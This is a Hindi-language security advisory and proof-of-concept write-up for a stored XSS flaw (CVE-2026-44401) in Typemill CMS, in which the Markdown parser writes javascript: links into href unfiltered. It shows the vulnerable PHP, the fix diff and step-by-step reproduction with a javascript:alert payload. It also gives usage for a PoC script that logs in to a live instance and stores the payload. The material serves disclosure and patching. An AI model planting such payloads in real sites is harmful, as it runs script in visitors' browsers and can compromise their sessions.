
टाइपमिल सीएमएस में स्थायी XSS: Markdown पार्सर javascript: URIs को बिना फ़िल्टर किए गुज़रने देता है। राइटअप + PoC।
| CVE | CVE-2026-44401 |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| प्रभावित | typemill/typemill >= 2.0.0, < 2.23.0 |
| इसमें सुधार हुआ | v2.23.0 (commit 31b72ea) |
| प्रमाणीकरण आवश्यक | हाँ, system:update ACL अधिकारों वाली कोई भी भूमिका (डिफ़ॉल्ट रूप से admin या manager) |
| CVSS (रिपोर्टर) | 7.6 / Medium-High |
| CVSS-B (VulnCheck, v4.0) | 4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L |
| श्रेय | sn0x (@sn0x-sharma) |
| एडवाइज़री | VulnCheck |
स्कोर Critical के बजाय Medium है क्योंकि इसके लिए
PR:H(थीम-कॉन्फ़िग विशेषाधिकार) +UI:A(पीड़ित का लिंक पर क्लिक करना) आवश्यक है — लेकिन पेलोड संग्रहीत (stored) है, इसलिए यह क्लिक करने वाले हर विज़िटर के लिए ट्रिगर होता है।
Typemill एक फ्लैट-फ़ाइल Markdown CMS है। इसका Markdown पार्सर लिंक टार्गेट के URI स्कीम को href एट्रिब्यूट में लिखने से पहले सत्यापित नहीं करता है। थीम-कॉन्फ़िगरेशन एक्सेस वाला उपयोगकर्ता (उदा., Landingpage Intro Segment टेक्स्ट फ़ील्ड, जो रॉ Markdown स्वीकार करता है) एक javascript: लिंक संग्रहीत कर सकता है। यह सार्वजनिक होमपेज पर बिना एस्केप किए रेंडर होता है और क्लिक करने वाले किसी भी व्यक्ति के ब्राउज़र में निष्पादित हो जाता है — persistent (stored) XSS।
ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, पंक्तियाँ 934–996 (v2.22.0, अंतिम असुरक्षित टैग)।
रिलेटिव और media/ लिंक्स को बेस-URL प्रीफ़िक्स मिलता है, लेकिन href में असाइन करने से पहले URI स्कीम की कोई जाँच नहीं की जाती:
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
$href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
$href = $this->baseUrl . '/' . $href;
}
# end typemill
$Element['attributes']['href'] = $href; // <-- no scheme validation
[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.
इस विशिष्ट सिंक के लिए रेंडरिंग पथ: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php। कोई भी अन्य थीम फ़ील्ड जो उपयोगकर्ता Markdown को उसी पार्सर से चलाती है, समान रूप से प्रभावित होती है।
# end typemill
-
+
+ # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+ $scheme = parse_url($href, PHP_URL_SCHEME);
+ if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+ {
+ $href = '#';
+ }
+
$Element['attributes']['href'] = $href;
मूल रिपोर्ट में प्रस्तावित वही अनुमत-सूची (http, https, mailto, ftp)। v2.22.0 और v2.23.0 टैग्स के बीच ParsedownExtension.php को diff करके पुष्टि की गई।
थीम-सेटिंग्स रूट्स (GET /tm/themes, POST /api/v1/theme) system/update ACL संसाधन पर गेटेड हैं — Typemill की अपनी रूट परिभाषाओं (routes/web.php, routes/api.php) के अनुसार यह डिफ़ॉल्ट रूप से केवल admin को नहीं, बल्कि manager भूमिका को दिया जाता है। इसलिए जोखिम केवल शीर्ष-स्तरीय व्यवस्थापक (administrator) खाते तक सीमित नहीं है।
थीम-कॉन्फ़िगरेशन एक्सेस वाले उपयोगकर्ता के रूप में लॉग इन करें → System → Themes → Configure (सक्रिय थीम, जैसे Cyanine)।
Landingpage Intro Segment का विस्तार करें → "Text for your landingpage intro (use markdown)" में यह दर्ज करें:
[Click me](javascript:alert(document.domain))
सहेजें। किसी भी उपयोगकर्ता के रूप में होमपेज पर जाएँ और लिंक पर क्लिक करें → उस विज़िटर के सत्र में JS निष्पादित होता है।
CVE-2026-44401_POC.py - दो मोड:
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill
# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html
# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
--username admin --password '********'
न्यूनतम मैन्युअल रिप्रो (जिसके साथ रिपोर्ट सत्यापित की गई थी):
php -r '
require "vendor/autoload.php";
require "system/typemill/Extensions/ParsedownExtension.php";
$p = new \Typemill\Extensions\ParsedownExtension("",[],null);
echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched: <p><a href="#">x</a></p>